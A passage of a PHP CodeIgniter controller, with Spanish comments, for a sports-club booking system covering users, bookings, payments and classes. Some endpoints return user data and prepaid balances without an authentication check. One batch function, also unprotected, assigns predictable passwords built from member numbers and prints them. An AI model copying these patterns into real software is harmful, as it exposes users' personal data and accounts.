//'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true),
'form' => 'formDetail',
'page' => 'users/user_new',
'auto_password' => $auto_password,
'array_groups' => $array_groups,
//'enable_grid' => 1,
//'js_grid' => $grid_js,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
/* pintar */
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
}
# -------------------------------------------------------------------
# Funcion que responde a la peticion JSON del autocompletar del formulario de usuarios ..
# -------------------------------------------------------------------
function get_Names($filtro=NULL)
{
//$q = $this->input->post('q',TRUE);
//if (!$q) return;
// form dropdown and myql get countries
$this->load->model('redux_auth_model', 'users', TRUE);
$campos_extra = $this->config->item('users_search_extra_info');
$array_users = $this->users->getActiveUsersArray($filtro, '', $campos_extra);
// go foreach
/* foreach($users->result() as $user)
{
$items[$user->user_id] = $user->first_name;
}*/
$usuarios=array();
foreach($array_users as $code => $value) if($code!="") array_push($usuarios, array('id' => $code, 'label' => $value, 'value' => $value));
//print("<pre>");print_r($array_users);print_r($usuarios);print("</pre>");
//echo '{"tags":'. json_encode($array_users) .'}';
echo json_encode($usuarios);
}
# -------------------------------------------------------------------
# Funcion que responde a la peticion para saber el saldo
# -------------------------------------------------------------------
function getPrepaidCash($user)
{
$this->load->model('redux_auth_model', 'users', TRUE);
echo $this->users->getPrepaidCash($user);
}
# -------------------------------------------------------------------
# Funcion que muestra el formulario para crear un usuario
# -------------------------------------------------------------------
function create_user()
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->library('redux_auth');
if($this->redux_auth->logged_in())
{
$active_user_init = $this->input->post('user_active');
$active_user = '0';
if ($active_user_init == "on") $active_user = '1';
$arrayUser = array(
'first_name' => ucwords($this->input->post('first_name')),
'last_name' => ucwords($this->input->post('last_name')),
'group_id' => $this->input->post('group_id'),
'group_description' => $this->input->post('group_description'),
'email' => strtolower($this->input->post('email')),
'active' => $active_user,
'phone' => $this->input->post('user_phone'),
'mobile_phone' => $this->input->post('mobile_phone'),
'password' => $this->input->post('password_user')
);
$id_user = $this->redux_auth->register($this->input->post('password_user'), $this->input->post('email'), FALSE, TRUE);
if ($id_user)
{
$data = $this->users->get_user($id_user);
$numero_socio_visible = $this->config->item('users_member_number_visibility');
if($numero_socio_visible) {
$numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group');
//echo '--'.$nivel_a_grabar;print_r($numero_socio_visible_grupos);
if($numero_socio_visible_grupos[$arrayUser['group_id']]) {
$numero_socio = $this->users->getNextMemberNumber();
//echo '-----------'.$numero_socio;
$this->users->setMemberNumber($data['user_id'], $numero_socio); // Activo el usuario
}
}
$this->redux_auth->activate($data['activation_code']); // Activo el usuario
//print("<pre>");print_r($data);print_r($numero_socio_visible_grupos); echo '<br> grupo: '.$arrayUser['group_id'];exit();
//echo site_url('users/detail/'.$data['user_id']);exit();
/* introducir mensaje */
//$this->detail($user_id);
redirect(site_url('users/detail/'.$data['user_id']), 'Location');
exit();
}
else
{
/* introducir mensaje */
/*print 'Error';*/
//$this->new_user();
$this->session->set_userdata('error_message', 'Usuario no creado. Problemas con los datos facilitados.');
redirect(site_url('users/new_user'), 'Location');
exit();
}
}
else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
redirect(site_url(), 'Location');
exit();
}
}
function get_users_list()
{
/*if (!isset($term))
{
$term = 'A';
}*/
$this->load->model('redux_auth_model', 'users', TRUE);
//$this->output->set_header($this->config->item('json_header'));
$return_array = $this->users->get_users_list();
//print_r($return_array);
//return $return_array;
//$data=array('page' => 'gestion/list_users',
// 'array_user' => $return_array,
// 'term' => $term);
echo json_encode($return_array);
//$this->load->view('gestion/list_users', $data);
}
# -------------------------------------------------------------------
# Funcion que devuelve listado de todos los usuarios
# -------------------------------------------------------------------
function ajax_list_all()
{
$this->load->model('redux_auth_model', 'users', TRUE);
//List of all fields that can be sortable. This is Optional.
//This prevents that a user sorts by a column that we dont want him to access, or that doesnt exist, preventing errors.
$valid_fields = array('id_booking','date','intervalo','courts.name','zz_paymentway.description','zz_booking_status.description','price','id_user','user_desc','no_cost');
$this->flexigrid->validate_post('first_name','asc',$valid_fields);
$add_where=$this->session->flashdata('where');
$records = $this->users->get_global_list($add_where);
$this->output->set_header($this->config->item('json_header'));
/*
* Json build WITH json_encode. If you do not have this function please read
* http://flexigrid.eyeviewdesign.com/index.php/flexigrid/example#s3 to know how to use the alternative
*/
$buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0;
foreach ($records['records']->result() as $row)
{
//print_r($row);
/* CAMBIO, PREGUNTAR A JUANJO */
/*$active=1;
if($row->activation_code!='') $active=0;*/
// NUEVO CODIGO PEPE
$active = $row->active;
/* FIN NUEVO CAMBIO */
/*$active_out=img( array('src'=>'images/accept.png', "align"=>"absmiddle", "title"=>"Activo", "border"=>"0"));;
if($row->activation_code!='') { $active_out=img( array('src'=>'images/close.png', "title"=>"Inactivo", "align"=>"absmiddle", "border"=>"0")); $active=0;}
/
/*
$butt_array=array();
array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar saldo prepago\');" ><img value="12" border=\'0\' "title"="Gestion de prepago" src=\''.$this->config->item('base_url').'images/coins.png\'></a>');
array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Ver detalle del usuario\');" ><img value="12" border=\'0\' "title"="Ver detalle" src=\''.$this->config->item('base_url').'images/magnifier.png\'></a>');
$buttons=implode(' ', $butt_array);*/
if($active) $button1= '<img id="activar" "title"="Desactivar usuario" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>';
else $button1= '<img id="activar" border=\'0\' "title"="Activar usuario" src=\''.$this->config->item('base_url').'images/close.png\'>';
$button2= '<a href=\'#detail\'><img value="12" border=\'0\' "title"="Ver detalle" src=\''.$this->config->item('base_url').'images/edit.gif\'></a>';
$button3= '<img value="12" border=\'0\' "title"="Gestion de prepago" src=\''.$this->config->item('base_url').'images/coins.png\'>';
$button4= '<img value="12" border=\'0\' "title"="Reservas activas" src=\''.$this->config->item('base_url').'images/history.gif\'>';
$button5= '<img value="12" border=\'0\' "title"="Cambiar password" src=\''.$this->config->item('base_url').'images/pass.gif\'>';
$record_items[] = array(
$row->id,
$row->id,
$row->first_name.' '.$row->last_name,
$row->email,
$row->group_desc,
$row->phone,
$row->create_time,
$button1,
$button5,
$button2,
$button3,
$button4
);
}
//Print please
//print("<pre>");print_r($record_items);print("</pre>");
$this->output->set_output($this->flexigrid->json_build($records['record_count'],$record_items));
}
function simpleSearchFields($options=array())
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
#########################
## CREACION DE FILTROS
######
//$page_id=$this->app_common->get_page_id();
//echo $page_id;
/*
$filtros=$this->session->userdata('filters');
if(!isset($filtros)) $this->session->set_userdata('filters', array());
if(!isset($filtros[$page_id])) $filtros[$page_id]= array();
*/
$filter_array=array();
$selected_name=$this->input->post('first_name');
$selected_last_name=$this->input->post('last_name');
$selected_phone=$this->input->post('phone');
$selected_group=$this->input->post('group');
$selected_active=$this->input->post('active');
if($selected_active!='' || $selected_active==='') $selected_active=$selected_active;
else $selected_active = '1';
$selected_email=$this->input->post('email');
$selected_code=$this->input->post('id');
# Filtro de usuario
if(!isset($options['first_name']) || $options['first_name']=="1") {
if(isset($options) && count($options)!=1) {
$contenido=array('name' => 'first_name', 'desc' => 'Nombre', 'default' => $selected_name, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'first_name', 'type' => 'text', 'value' => $selected_name);
array_push($filter_array, $contenido);
}
}
# Filtro de apellido
if(!isset($options['last_name']) || $options['last_name']=="1") {
if(isset($options) && count($options)!=1) {
$contenido=array('name' => 'last_name', 'desc' => 'Apellido', 'default' => $selected_last_name, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'last_name', 'type' => 'text', 'value' => $selected_last_name);
array_push($filter_array, $contenido);
}
}
# Filtro de email
if(!isset($options['email']) || $options['email']=="1") {
if(isset($options) && count($options)!=1) {
$contenido=array('name' => 'email', 'desc' => 'Email', 'default' => $selected_email, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'email', 'type' => 'text', 'value' => $selected_email);
array_push($filter_array, $contenido);
}
}
# Filtro de telefono
if(!isset($options['phone']) || $options['phone']=="1") {
if(isset($options) && count($options)!=1) {
$contenido=array('name' => 'phone', 'desc' => 'Telefono', 'default' => $selected_phone, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'phone', 'type' => 'text', 'value' => $selected_phone);
array_push($filter_array, $contenido);
}
}
# Filtro de nivel
if(!isset($options['group']) || $options['group']=="1") {
$options_=$this->users->get_groups();
$options=array('' => '');
foreach($options_ as $option) $options[$option['id']]=$option['description'];
if(isset($options) && count($options)!=1) {
$contenido=array('name' => 'group', 'desc' => 'Grupo', 'default' => $selected_group, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'group', 'type' => 'select', 'value' => $options);
array_push($filter_array, $contenido);
}
}
# Filtro de activo
if(!isset($options['group']) || $options['group']=="1") {
$options=array('' => '', '1'=> 'Activo', '0' => 'Inactivo');
if(isset($options) && count($options)!=1) {
$contenido=array('name' => 'active', 'desc' => 'Estado', 'default' => $selected_active, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'active', 'type' => 'select', 'value' => $options);
array_push($filter_array, $contenido);
}
}
return $filter_array;
}
# -------------------------------------------------------------------
# Listado general de las reservas usando el jqGrid
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function reservas($usuario = NULL)
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$code_user = $profile->id;
$profiles_visualization = $this->config->item('profiles_visualization_permission');
if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
# Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos
if(isset($usuario) && $usuario!='') $code_user = $usuario;
$colmodel = " {name:'id_transaction',index:'id_transaction', width:1, align:'center',hidden:true},
{name:'fecha',index:'fecha', width:12, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'},
{name:'inicio', index:'inicio', width:10, align:'center', editable:true},
{name:'final', index:'intervalo', width:10, align:'center', editable:true},
{name:'court_name',index:'court_name', width:20, align:'center'},
{name:'status_desc', index:'status_desc', width:15, align:'center'},
{name:'paymentway_desc', index:'paymentway_desc', width:15, align:'center'},
{name:'price', index:'price', width:10, align:'center'},
{name:'light_desc', index:'price_light', width:10, align:'center'},
{name:'no_cost',index:'no_cost', width:10, align:'center', sortable:false}";
$colnames = "'Id','Fecha','Inicio','Final','Pista', 'Estado', 'Forma de pago', 'Precio', 'Luz', 'Sin coste'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "reservas_gest/jqgrid_list_by_user/".$code_user,
'title' => 'Listado de reservas',
'default_orderfield' => 'date',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
# Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario
if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true);
else $submenu = $this->load->view('users/submenu_navegacion', array(), true);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('users/reservas', array('grid_code' => $grid_code, 'enable_buttons' => FALSE, 'menu_lateral' => NULL), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_userdata('returnUrl', site_url('users/reservas/'.$code_user));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# Listado general de los pagos usando el jqGrid
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function pagos($usuario = NULL)
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$code_user = $profile->id;
$profiles_visualization = $this->config->item('profiles_visualization_permission');
$panel_permission = $this->config->item('bookings_visualization_permission');
if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
# Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos
if(isset($usuario) && $usuario!='') $code_user = $usuario;
$colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true},
{name:'id_type_desc',index:'zz_payment_type.description', width:13, align:'center'},
{name:'paymentway_desc', index:'zz_paymentway.description', width:10, align:'center'},
{name:'quantity', index:'payments.quantity', width:6, align:'center'},
{name:'status_desc', index:'zz_payment_status.description', width:10, align:'center'},
{name:'fecha_valor', index:'DATE_FORMAT(DATE(payments.fecha_valor),\'%d-%m-%Y\')', width:12, align:'center'},
{name:'datetime', index:'DATE_FORMAT(DATE(payments.datetime),\'%d-%m-%Y\')', width:20, align:'center'},
{name:'description', index:'payments.description', width:50, align:'center'}";
$colnames = "'Id','Concepto','Forma', '€', 'Estado', 'Fecha Valor', 'Momento pago', 'Descripcion'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "facturacion/jqgrid_list_by_user/".$code_user,
'title' => 'Listado de pagos',
'default_orderfield' => 'datetime',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
# Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario
if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true);
else $submenu = $this->load->view('users/submenu_navegacion', array(), true);
$permisos = array('change_status' => FALSE, 'return_payment' => FALSE, 'cancel_payment' => FALSE, 'new_payment' => FALSE, 'view_receipt' => FALSE, 'export_excel' => FALSE);
$this->load->config('facturacion');
$payment_change_status_permission = $this->config->item('payment_pendiente_change_status_permission');
$permisos['change_status'] = $payment_change_status_permission[$user_group];
$payment_repay_permission = $this->config->item('payment_repay_permission');
$permisos['repay_payment'] = $payment_repay_permission[$user_group];
$payment_devolver = $this->config->item('payment_devuelto_change_status_permission');
$permisos['return_payment'] = $payment_devolver[$user_group];
$payment_cancelar = $this->config->item('payment_cancel_change_status_permission');
$permisos['cancel_payment'] = $payment_cancelar[$user_group];
$payment_nuevo = $this->config->item('payment_add_custom_permission');
$permisos['new_payment'] = $payment_nuevo[$user_group];
$payment_dev = $this->config->item('payment_add_custom_devolution_permission');
$permisos['new_devolution'] = $payment_dev[$user_group];
$payment_recibo = $this->config->item('payment_view_receipt_permission');
$permisos['view_receipt'] = $payment_recibo[$user_group];
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('users/pagos', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'permisos' => $permisos, 'menu_lateral' => NULL, 'code_user' => $code_user), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_userdata('returnUrl', site_url('users/pagos/'.$code_user));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# Listado general de las clases a las que estรก apuntado el usuario
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function clases($usuario=NULL)
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$code_user = $profile->id;
$profiles_visualization = $this->config->item('profiles_visualization_permission');
$panel_permission = $this->config->item('bookings_visualization_permission');
if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
# Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos
if(isset($usuario) && $usuario!='') $code_user = $usuario;
$this->load->model('Reservas_model', 'reservas', TRUE);
$deportes = ':All;'.$this->reservas->getSportsArray('json');
$colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true},
{name:'description',index:'lessons.description', width:25, align:'center', datefmt:'dd/mm/Y', date:true},
{name:'sport_desc', index:'zz_sports.description', width:10, align:'center',stype:'select', searchoptions:{value:'".$deportes."'}},
{name:'court_desc', index:'court_desc', width:10, align:'center'},
{name:'dia_semana', index:'weekday', width:10, align:'center', editable:true},
{name:'rango_fechas', index:'start_date', width:20, align:'center', editable:true},
{name:'rango_horas',index:'start_time', width:12, align:'center'},
{name:'plazas', index:'max_vacancies', width:8, align:'center'},
{name:'profesor', index:'meta.first_name', width:15, align:'center'}";
$colnames = "'Id','Nombre', 'Deporte', 'Pista','Dia','Fechas','Horario', 'Plazas', 'Profesor'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_all/none/".$code_user,
'title' => 'Listado de cursos',
'default_orderfield' => 'sport_desc',
'default_orderway' => 'asc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '820',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 820px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
$menu_lateral = $this->load->view('lessons/menu_lateral', '', true);
# Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario
if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true);
else $submenu = $this->load->view('users/submenu_navegacion', array(), true);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('users/clases', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL, 'code_user' => $code_user), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_userdata('returnUrl', site_url('users/clases/'.$code_user));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# Listado general de los partidos en los que participa el usuario
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function partidos($usuario = NULL)
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$code_user = $profile->id;
$profiles_visualization = $this->config->item('profiles_visualization_permission');
if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
# Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos
if(isset($usuario) && $usuario!='') $code_user = $usuario;
$colmodel = " {name:'id_transaction',index:'id_transaction', width:1, align:'center',hidden:true},
{name:'fecha',index:'fecha', width:12, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'},
{name:'inicio', index:'inicio', width:10, align:'center', editable:true},
{name:'final', index:'intervalo', width:10, align:'center', editable:true},
{name:'court_name',index:'court_name', width:20, align:'center'},
{name:'user_desc',index:'user_desc', width:40, align:'center'}";
$colnames = "'Id','Fecha','Inicio','Final','Pista', 'Reservado por'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "reservas_gest/jqgrid_list_by_user_shared/".$code_user,
'title' => 'Listado de partidos',
'default_orderfield' => 'date',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
# Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario
if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true);
else $submenu = $this->load->view('users/submenu_navegacion', array(), true);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('users/reservas', array('grid_code' => $grid_code, 'enable_buttons' => FALSE, 'menu_lateral' => NULL), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_userdata('returnUrl', site_url('users/reservas/'.$code_user));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# Listado general de las reservas usando el jqGrid
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function retos($usuario = NULL)
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$code_user = $profile->id;
$profiles_visualization = $this->config->item('profiles_visualization_permission');
if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) {
$this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido');
redirect(site_url(), 'Location');
exit();
}
} else {
redirect(site_url(), 'Location');
exit();
}
# Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos
if(isset($usuario) && $usuario!='') $code_user = $usuario;
$colmodel = " {name:'id_transaction',index:'id_transaction', width:1, align:'center',hidden:true},
{name:'fecha',index:'fecha', width:10, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'},
{name:'inicio', index:'inicio', width:6, align:'center', editable:true},
{name:'final', index:'intervalo', width:6, align:'center', editable:true},
{name:'court_name',index:'court_name', width:20, align:'center'},
{name:'players', index:'booking_shared.players', width:5, align:'center'},
{name:'price_by_player', index:'booking_shared.price_by_player', width:5, align:'center'},
{name:'gender', index:'booking_shared.gender', width:5, align:'center'},
{name:'low_player_level', index:'booking_shared.low_player_level', width:5, align:'center'},
{name:'high_player_level', index:'booking_shared.high_player_level', width:5, align:'center'},
{name:'notified', index:'booking_shared.notified', width:5, align:'center'},
{name:'apuntado', index:'booking_shared.notified', width:5, align:'center'},";
$colnames = "'Id','Fecha','Inicio','Final','Pista','Jugadores', 'Precio', 'Genero', 'Nivel1', 'Nivel2', 'Mail', 'Apuntado'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "retos/jqgrid_list_by_user/".$code_user,
'title' => 'Listado de retos',
'default_orderfield' => 'fecha',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
# Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario
if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true);
else $submenu = $this->load->view('users/submenu_navegacion', array(), true);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('users/retos', array('grid_code' => $grid_code, 'code_user' => $code_user, 'enable_buttons' => TRUE, 'menu_lateral' => NULL), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_userdata('returnUrl', site_url('users/reservas/'.$code_user));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
function set_users_pwd_batch()
{
# Revisa todos los usuarios que tienen el password vacio y les pone el password siguiendo un patron dado (ahora mismo, el id+apellidos sin espacios en blanco, todo en minusculas)
/*if (!isset($term))
{
$term = 'A';
}*/
$this->load->model('redux_auth_model', 'users', TRUE);
//$this->output->set_header($this->config->item('json_header'));
$usuarios = $this->users->get_data(array('where' =>"users.password is null or users.password = ''"))->result_array();
foreach ($usuarios as $usuario) {
$pwd = 'usuario'.$usuario['numero_socio'];
$this->users->change_password_admin($usuario['id'], $pwd);
echo '<br>usuario '.$usuario['id'].' con pwd '.$pwd;
}
echo '<pre>';print_r($return_array);exit();
//return $return_array;
//$data=array('page' => 'gestion/list_users',
// 'array_user' => $return_array,
// 'term' => $term);
echo json_encode($return_array);
//$this->load->view('gestion/list_users', $data);
}
# -------------------------------------------------------------------
# genera un fichero de texto en el servidor con los datos de usuarios
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function exportacion ($opciones = NULL)
{
//$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->library('users_lib');
$exportacion = $this->users_lib->exportacion(array('formato' => 'array', 'opcion' => $opciones));
//echo $texto."<pre>"; print_r($exportacion);exit();
//echo json_encode ($data );
//exit( 0 );
}
# -------------------------------------------------------------------
# Funcion que muestra el detalle del usuario
# -------------------------------------------------------------------
function carnet($code_user)
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$visualization_permission = $this->config->item('profiles_visualization_permission');
if(!$visualization_permission[$profile->group]) {
$this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
if(!$this->redux_auth->logged_in())
{
$this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.');
redirect(site_url(), 'Location');
exit();
}
# Si es el mismo usuario el que quiero ver del que estรก logueado, le llevo a la pรกgina del perfil
$perfiles_permission = $this->config->item('profiles_visualization_permission');
if(!$perfiles_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.'); redirect(site_url(), 'Location'); exit(); }
# recupero los datos del usuario
$array_result = $this->users->get_user($code_user);
if (!isset($array_result) || count($array_result) <=0)
{
$this->session->set_userdata('error_message', 'Informacion de usuario no disponible o usuario inexistente.');
redirect(site_url(), 'Location');
exit();
}
# Gestiรณn de carnet de socio
$carnet_permission = $this->config->item('users_carnet_template_by_group');
$carnet_enabled = FALSE;
if(!$this->config->item('users_carnet_enabled') || !isset($carnet_permission) || trim($carnet_permission[$array_result['group_id']]) == '') {
exit('Carnet no habilitado para este usuario');
}
